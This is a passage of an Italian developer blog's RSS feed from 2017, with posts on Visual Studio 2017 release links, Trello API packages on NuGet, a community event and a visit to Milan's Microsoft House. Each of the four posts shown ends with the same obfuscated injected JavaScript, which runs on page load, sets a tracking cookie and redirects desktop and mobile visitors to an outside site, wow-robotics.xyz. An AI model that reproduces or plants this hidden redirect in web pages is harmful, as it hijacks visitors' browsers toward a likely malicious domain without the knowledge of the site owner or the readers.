		<link>http://blog.vivendobyte.net/blog/archive/2017/04/06/visual-studio-2017-ed-il-mese-di-aprile.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=visual-studio-2017-ed-il-mese-di-aprile</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/04/06/visual-studio-2017-ed-il-mese-di-aprile.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Thu, 06 Apr 2017 07:10:33 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2945</guid>

					<description><![CDATA[Beh direi che di carne sul fuoco ce n’è abbastanza. Alla faccia di chi diceva che UWP è “poco considerato”. Ho raccolto qui sotto una serie di link tratti da MSDN sugli ultimi rilasci avvenuti nelle scorse ore per quanto riguarda Visual Studio 2017, .NET Framework, Universal Windows Platform. Visual Studio 2017 Update https://blogs.msdn.microsoft.com/visualstudio/2017/04/05/visual-studio-2017-update/ Visual [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Beh direi che di carne sul fuoco ce n’è abbastanza. Alla faccia di chi diceva che UWP è “poco considerato”. Ho raccolto qui sotto una serie di link tratti da MSDN sugli ultimi rilasci avvenuti nelle scorse ore per quanto riguarda Visual Studio 2017, .NET Framework, Universal Windows Platform.</p>
<p><strong>Visual Studio 2017 Update</strong>    <br /><a title="https://blogs.msdn.microsoft.com/visualstudio/2017/04/05/visual-studio-2017-update/" href="https://blogs.msdn.microsoft.com/visualstudio/2017/04/05/visual-studio-2017-update/">https://blogs.msdn.microsoft.com/visualstudio/2017/04/05/visual-studio-2017-update/</a></p>
<p><strong>Visual Studio 2017 Performance Improvements</strong>    <br /><a title="https://blogs.msdn.microsoft.com/visualstudio/2017/04/05/visual-studio-2017-performance-improvements/" href="https://blogs.msdn.microsoft.com/visualstudio/2017/04/05/visual-studio-2017-performance-improvements/">https://blogs.msdn.microsoft.com/visualstudio/2017/04/05/visual-studio-2017-performance-improvements/</a></p>
<p><strong>Announcing the .NET Framework 4.7</strong>    <br /><a title="https://blogs.msdn.microsoft.com/dotnet/2017/04/05/announcing-the-net-framework-4-7/" href="https://blogs.msdn.microsoft.com/dotnet/2017/04/05/announcing-the-net-framework-4-7/">https://blogs.msdn.microsoft.com/dotnet/2017/04/05/announcing-the-net-framework-4-7/</a></p>
<p><strong>Updating your tooling for Windows 10 Creators Update</strong>    <br /><a title="https://blogs.windows.com/buildingapps/2017/04/05/updating-tooling-windows-10-creators-update/#.WOXeGqlgXqU.twitter" href="https://blogs.windows.com/buildingapps/2017/04/05/updating-tooling-windows-10-creators-update/#.WOXeGqlgXqU.twitter">https://blogs.windows.com/buildingapps/2017/04/05/updating-tooling-windows-10-creators-update/#.WOXeGqlgXqU.twitter</a></p>
<p><strong>Annoncing UWP Community Toolkit 1.4</strong>    <br /><a title="https://blogs.windows.com/buildingapps/2017/04/03/announcing-uwp-community-toolkit-1-4/#.WOUMb6b_YB4.twitter#lyhX2JFgJp6liyL7.97" href="https://blogs.windows.com/buildingapps/2017/04/03/announcing-uwp-community-toolkit-1-4/#.WOUMb6b_YB4.twitter#lyhX2JFgJp6liyL7.97">https://blogs.windows.com/buildingapps/2017/04/03/announcing-uwp-community-toolkit-1-4/#.WOUMb6b_YB4.twitter#lyhX2JFgJp6liyL7.97</a></p>
<p><strong>Windows 10 Creators Update SDK</strong>    <br /><a title="https://blogs.msdn.microsoft.com/chuckw/2017/04/06/windows-10-creators-update-sdk/" href="https://blogs.msdn.microsoft.com/chuckw/2017/04/06/windows-10-creators-update-sdk/">https://blogs.msdn.microsoft.com/chuckw/2017/04/06/windows-10-creators-update-sdk/</a></p>
<p><strong>Fresh Bits – Windows 10 Creators Update and Creators Update SDK</strong>    <br /><a title="https://blogs.msdn.microsoft.com/marcelolr/2017/04/05/fresh-bits-windows-10-creators-update-and-creators-update-sdk/" href="https://blogs.msdn.microsoft.com/marcelolr/2017/04/05/fresh-bits-windows-10-creators-update-and-creators-update-sdk/">https://blogs.msdn.microsoft.com/marcelolr/2017/04/05/fresh-bits-windows-10-creators-update-and-creators-update-sdk/</a></p>
<p><strong>Submissions using Windows 10, version 1703 are now being accepted!</strong>    <br /><a title="https://blogs.msdn.microsoft.com/windows_hardware_certification/2017/04/05/submissions-using-windows-10-version-1703-are-now-being-accepted/" href="https://blogs.msdn.microsoft.com/windows_hardware_certification/2017/04/05/submissions-using-windows-10-version-1703-are-now-being-accepted/">https://blogs.msdn.microsoft.com/windows_hardware_certification/2017/04/05/submissions-using-windows-10-version-1703-are-now-being-accepted/</a></p>
<p><strong>Team Explorer for TFS 2017</strong>    <br /><a title="https://blogs.msdn.microsoft.com/bharry/2017/04/05/team-explorer-for-tfs-2017/" href="https://blogs.msdn.microsoft.com/bharry/2017/04/05/team-explorer-for-tfs-2017/">https://blogs.msdn.microsoft.com/bharry/2017/04/05/team-explorer-for-tfs-2017/</a></p>
<p><strong>What’s new in Windows 10 Creators Update (Coming April 11)</strong>    <br /><a title="https://blogs.msdn.microsoft.com/techtalks/windows-10/whats-new-in-windows-10-creators-update-coming-april-11/" href="https://blogs.msdn.microsoft.com/techtalks/windows-10/whats-new-in-windows-10-creators-update-coming-april-11/">https://blogs.msdn.microsoft.com/techtalks/windows-10/whats-new-in-windows-10-creators-update-coming-april-11/</a></p>
<p><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/04/06/visual-studio-2017-ed-il-mese-di-aprile.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Trello API su NuGet</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/03/30/trello-api-su-nuget.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=trello-api-su-nuget</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/03/30/trello-api-su-nuget.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Thu, 30 Mar 2017 07:22:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2942</guid>

					<description><![CDATA[Volevo segnalare la presenza di questi 3 package pubblicati su NuGet: Manatee.Trello Manatee.Trello.ManateeJson Manatee.Trello.WebApi Dopo la solita autenticazione effettuata via OAuth, avete tutta una serie di funzionalità read/write verso Trello, che vi permettono di leggere e scrivere bacheche, board, task e tutte le informazioni relative. Ho provato, giusto per curiosità, le funzionalità di base, e [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Volevo segnalare la presenza di questi 3 package pubblicati su NuGet:</p>
<p><a href="https://www.nuget.org/packages/Manatee.Trello/" target="_blank" rel="noopener noreferrer">Manatee.Trello</a></p>
<p><a href="https://www.nuget.org/packages/Manatee.Trello.ManateeJson/" target="_blank" rel="noopener noreferrer">Manatee.Trello.ManateeJson</a></p>
<p><a href="https://www.nuget.org/packages/Manatee.Trello.WebApi/" target="_blank" rel="noopener noreferrer">Manatee.Trello.WebApi</a></p>
<p>Dopo la solita autenticazione effettuata via OAuth, avete tutta una serie di funzionalità read/write verso Trello, che vi permettono di leggere e scrivere bacheche, board, task e tutte le informazioni relative.</p>
<p>Ho provato, giusto per curiosità, le funzionalità di base, e ci sono tutte. Magari può interessare a qualcuno di voi in ascolto, magari per realizzare un client di qualche tipo, preferibilmente desktop (WPF) o meglio ancora UWP!</p>
<p><img class="wlEmoticon wlEmoticon-smile" style="border-top-style: none;border-left-style: none;border-bottom-style: none;border-right-style: none" alt="Smile" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/wlEmoticon-smile-1.png"><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/03/30/trello-api-su-nuget.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Visual Studio 2017 to the max: grazie!</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/03/27/visual-studio-2017-to-the-max-grazie.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=visual-studio-2017-to-the-max-grazie</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/03/27/visual-studio-2017-to-the-max-grazie.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 27 Mar 2017 12:19:06 +0000</pubDate>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2937</guid>

					<description><![CDATA[Sabato 25 Marzo è stata la giornata del primo evento Visual Studio 2017 on the max, organizzata dalla nostra nuova community Visual Studio Tips &#38; Tricks. Beh, è stata una bella giornata, ragazzi. Tante persone, alcuni amici di community, alcuni partecipanti ai miei corsi che sono venuti a trovarmi. Tanti complimenti distribuiti a tutti. Location [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Sabato 25 Marzo è stata la giornata del primo evento <strong>Visual Studio 2017 on the max</strong>, organizzata dalla nostra nuova community <a href="https://www.visualstudiotips.net" target="_blank" rel="noopener noreferrer">Visual Studio Tips &amp; Tricks</a>. Beh, è stata una bella giornata, ragazzi. Tante persone, alcuni amici di community, alcuni partecipanti ai miei corsi che sono venuti a trovarmi. Tanti complimenti distribuiti a tutti. Location direi perfetta, con un’ottima sala (un po’ troppo calda all’inizio, ma abbiamo rimediato, no?). <strong><span style="color: #0000ff">Gli iscritti totali sono stati ufficialmente 114, i presenti effettivi poco meno di 80.</span></strong> Direi un ottimo risultato, per una community neonata, sorta come un’araba fenice dalle ceneri della mitica Visual Basic Tips &amp; Tricks. Per me è stata una giornata speciale, perchè è stata la mia prima giornata da speaker in un contesto puramente community. Sarò fatto strano io, ma credo con tutto me stesso che arrivare a fare una sessione tecnica sia un punto di arrivo, un traguardo, ma allo stesso tempo un nuovo inizio di un mondo un po’ più grande.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image-7.png"><img style="padding-top: 0px;padding-left: 0px;padding-right: 0px;border-width: 0px" title="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb-7.png" alt="image" width="584" height="439" border="0"></a></p>
<p><strong>La mattinata è stata incentrata ovviamente su Visual Studio 2017</strong>; io in particolare, nei 45 minuti a mia disposizione, vi ho raccontato di tutte le novità riguardanti il mondo Universal Windows Platform. Ci saranno altre occasioni per parlarvi anche di altro: Windows Presentation Foundation, Xamarin Forms, Azure, .NET Core, e via via tutto ciò che ci chiederete di fare come community.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image-8.png"><img style="padding-top: 0px;padding-left: 0px;padding-right: 0px;border-width: 0px" title="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb-8.png" alt="image" width="584" height="405" border="0"></a></p>
<p>Per ora un sentito grazie agli altri membri del team, a tutti voi che avete partecipato e che avete deciso di impegnare una vostra mezza giornata per venire ad ascoltarci. Ogni tanto è bello vedervi dal vivo!</p>
<p>Alla prossima!!!!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/03/27/visual-studio-2017-to-the-max-grazie.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Una mattinata nella Microsoft House</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/03/13/una-mattinata-nella-microsoft-house.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=una-mattinata-nella-microsoft-house</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/03/13/una-mattinata-nella-microsoft-house.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 13 Mar 2017 08:35:00 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2931</guid>

					<description><![CDATA[Sembra una giornata come tante. Prendo la macchina, entro in A1 dal casello di Lodi, mi infilo in autostrada in direzione Milano. Parcheggio a San Donato Milanese, prendo la metropolitana gialla fino a raggiungere la Stazione Centrale, poi cambio con la verde e scendo a Garibaldi. Sembra una giornata come tante, perchè questo è bene [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Sembra una giornata come tante. Prendo la macchina, entro in A1 dal casello di Lodi, mi infilo in autostrada in direzione Milano. Parcheggio a San Donato Milanese, prendo la metropolitana gialla fino a raggiungere la Stazione Centrale, poi cambio con la verde e scendo a Garibaldi. Sembra una giornata come tante, perchè questo è bene o male il tragitto di migliaia, di centinaia di migliaia di persone che ogni giorno raggiungono gli uffici della metropoli milanese. Da Garibaldi si percorre in pochi passi Corso Como, costellato di locali alla moda ed uno dei centri nevralgici della nuova movida milanese, da quando con Expo 2015 questa zona della città è praticamente rinata. Qui adesso sono collocate la Unicredit Tower, il bosco verticale vincitore di diversi premi di design, piazza Gae Aulenti, Eataly, tantissimi negozi di brand appartenenti al mondo della moda e del lusso, innumerevoli bar e locali per prendere un aperitivo e mille altre occasioni per vivere appieno il sapore di una grande città come Milano. Insomma, si fanno due passi e ci si rende conto di essere al posto giusto nel momento giusto.</p>
<p><strong>Ed è qui che sorge la nuova e spettacolare <a href="https://www.microsofthouse.it/" target="_blank" rel="noopener noreferrer">Microsoft House</a></strong>, che ho avuto l’onore di visitare a tu per tu con <a href="https://twitter.com/anbenedetti" target="_blank" rel="noopener noreferrer"><strong>Andrea Benedetti</strong></a>, <strong>Director of Technical Evangelism di Microsoft Italia</strong>, che ovviamente ringrazio per il tempo che mi ha concesso.<br />
Di che cosa si tratta?</p>
<p><img src="https://www.channelcity.it/immagini/2017/02/mshouse1-1.jpg" width="580" height="295"></p>
<p>In due parole: basta con la bellissima ma isolatissima cattedrale nel deserto di prima. Oggi Microsoft è nel cuore della città, raggiungibile dalle stazioni dei treni, dalla metropolitana, con i taxi. In una struttura completamente di vetro (832 finestre), trasparente come trasparente vuole essere la sua comunicazione. 5 piani di tecnologia, di voglia di fare e di lavorare, immersi in un ambiente accogliente ed allo stato dell’arte.</p>
<p><strong>Una zona aperta al pubblico</strong><br />
Microsoft House mette a disposizione una zona aperta e disponibile al pubblico. Per fare cosa? Per parlare e toccare con mano le tecnologie Microsoft, che siano PC, convertibili 2-1, tablet, telefoni, mouse, tastiere, XBOX e chi ne ha più ne metta. E’ un grande punto in cui ritrovarsi e chiaccherare, rimanere aggiornati sulle ultime novità, prendere parte ad eventi per il mondo consumer. Vi consiglio di dare un’occhiata di tanto in tanto al sito <a title="https://www.microsofthouse.it/" href="https://www.microsofthouse.it/" target="_blank" rel="noopener noreferrer">https://www.microsofthouse.it/</a>, giusto per non perdere nulla delle esperienze che Microsoft vi permette di vivere. Ci sono stato, da normale visitatore, la domenica successiva a quella dell’inaugurazione ufficiale; ho incontrato alcuni amici ed insieme a loro ho vistato lo showroom. E’ proprio bello da vedere. E’ un crocevia di gente, di passanti e di semplici curiosi, che entrano, fanno due passi, guardano e commentano, magari bevono un caffè, e poi se ne vanno. Così, naturalmente, come se fosse un luogo di incontro o una piazza.</p>
<p><strong>Tantissime zone per lavorare</strong><br />
Ovviamente la parte che Andrea mi ha permesso di visitare è quella al di fuori delle normali zone aperte al pubblico. Gran figata. Ci sono uffici grandi e piccoli, a seconda delle esigenze e del tipo di lavoro da svolgere. Ci sono spazi dedicati ai piccoli meeting o ai grandi eventi per le community.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb.png" width="584" height="330"></a></p>
<p>Ci sono diverse zone di svago dove bere un caffè o scaldarsi qualcosa con il microonde. Ci sono teatri per accogliere sessioni tecniche e sale riunioni con Surface Hub per condividere slide e video.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image-1.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb-1.png" width="584" height="330"></a></p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image-2.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb-2.png" width="584" height="330"></a></p>
<p>Nella nuova Microsoft House tutto è pensato per farti vivere al meglio, e lavorare in uno spazio gradevole e non faticoso. Anche se poi, immagino, arrivi sempre il momento in cui devi farti <em>un mazzo tanto</em> per portare a casa la soddisfazione del cliente.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image-3.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb-3.png" width="584" height="330"></a></p>
<p>Andrea Benedetti mi ha raccontato delle tendine frangi-sole e del sistema di climatizzazione completamente governati da un sistema IoT. Mi ha raccontato tante piccole caratteristiche della Microsoft House che onestamente mi hanno proprio reso orgoglioso di far parte, nel mio piccolo, del mondo Microsoft, da appassionato e da professionista quale sono.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image-4.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb-4.png" width="584" height="446"></a></p>
<p>E’ stata una mattinata unica, e probabilmente ne vivrò tante altre, nei prossimi mesi ed anni, quando si terranno eventi community. Già adesso non vedo l’ora.</p>
<p>Una cosa che mi ha molto colpito è la più completa insonorizzazione degli ambienti rispetto alla città. Già mi immaginavo di sentire auto, sirene delle ambulanze a tutto spiano, fastidiosi clacson, frenate, etc. etc. Nulla di tutto questo. Microsoft House è un piccolo paradiso in una grande città caotica. La foto qui sotto è stata scattata dall’ultimo piano della sede; il traffico non era molto, sebbene fossimo in piena mattinata, questo è vero, ma vi posso assicurare che non si sente assolutamente nulla. Si lavora in tranquillità e belli concentrati.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image-5.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb-5.png" width="584" height="330"></a></p>
<p><strong>E poi?</strong><br />
Chiamato dai suoi impegni di lavoro, Andrea mi ha ovviamente salutato, non prima però di aver scattato una foto assieme nell’atrio di Microsoft.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image-6.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/03/image_thumb-6.png" width="584" height="330"></a></p>
<p>E poi…mi sono parcheggiato, ho acceso il PC, ho scaricato le foto dal mio cellulare, ho scritto qualche mail, ho partecipato ad una call con capi &amp; clienti. Alle 12 sono uscito da Microsoft House, ho mangiato lì nei paraggi (ci sono pizzerie, ristorantini e baretti di ogni genere e tipo), mi sono reinfilato nella metropolitana milanese per raggiungere un cliente che mi aspettava nel pomeriggio.</p>
<p>Grazie <a href="https://twitter.com/anbenedetti" target="_blank" rel="noopener noreferrer">Andrea Benedetti</a> per avermi fatto da guida turistica d’eccezione (il suo tempo è poco, ed avergliene rubato un po’ mi galvanizza) e grazie <a href="https://twitter.com/BrainSys" target="_blank" rel="noopener noreferrer">Brain-Sys</a> per avermi concesso una mattinata di tempo. <strong>Grazie Microsoft per continuare a trasmettermi voglia di scrivere software</strong>.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/03/13/una-mattinata-nella-microsoft-house.aspx/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Focus Day del 16 Giugno! Flash Mob(ile)!</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/03/07/focus-day-del-16-giugno-flash-mobile.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=focus-day-del-16-giugno-flash-mobile</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/03/07/focus-day-del-16-giugno-flash-mobile.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 07 Mar 2017 08:21:00 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2915</guid>

